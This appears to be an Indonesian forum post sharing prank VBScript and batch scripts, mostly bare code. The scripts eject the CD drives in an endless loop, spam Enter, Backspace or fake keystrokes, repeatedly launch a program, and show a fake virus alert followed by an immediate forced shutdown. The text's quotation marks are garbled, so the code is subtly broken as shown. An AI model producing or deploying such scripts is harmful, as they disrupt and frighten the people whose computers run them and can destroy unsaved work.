Code:
Code:
Set oWMP = CreateObject(�WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count � 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count � 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
^
^
hati2 gan, klo keseringan bisa wafat tu kompie ..
2. Tombol Enter Terus-terusan Aktif
Code:
Code:
Set wshShell = wscript.CreateObject(�WScript.Shell�)
do
wscript.sleep 100
wshshell.sendkeys �~(enter)�
loop
Code:
Code:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(�WScript.Shell�)
WshShell.Run �notepad�
WScript.Sleep 100
WshShell.AppActivate �Notepad�
WScript.Sleep 500
WshShell.SendKeys �Hel�
WScript.Sleep 500
WshShell.SendKeys �lo �
WScript.Sleep 500
WshShell.SendKeys �, ho�
WScript.Sleep 500
WshShell.SendKeys �w a�
WScript.Sleep 500
WshShell.SendKeys �re �
WScript.Sleep 500
WshShell.SendKeys �you�
WScript.Sleep 500
WshShell.SendKeys �? �
WScript.Sleep 500
WshShell.SendKeys �I a�
WScript.Sleep 500
WshShell.SendKeys �m g�
WScript.Sleep 500
WshShell.SendKeys �ood�
WScript.Sleep 500
WshShell.SendKeys � th�
WScript.Sleep 500
WshShell.SendKeys �ank�
WScript.Sleep 500
WshShell.SendKeys �s! �
Code:
Code:
MsgBox �Maaf, Anda Harus Mengulang Kembali�
Set wshShell =wscript.CreateObject(�WScript.Shell�)
do
wscript.sleep 100
wshshell.sendkeys �{bs}�
loop
Code:
Code:
@ECHO off
:top
START %SystemRoot%\system32\cacl.exe
GOTO top
Code:
Code:
Set wshShell = wscript.CreateObject(�WScript.Shell�)
do
wscript.sleep 100
wshshell.sendkeys �Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki�
loop
Code:
Code:
@echo off
msg * Komputer Anda Terinfeksi Virus
shutdown -c �Error! Virus Menyebar Keseluruh System!� -s -t 0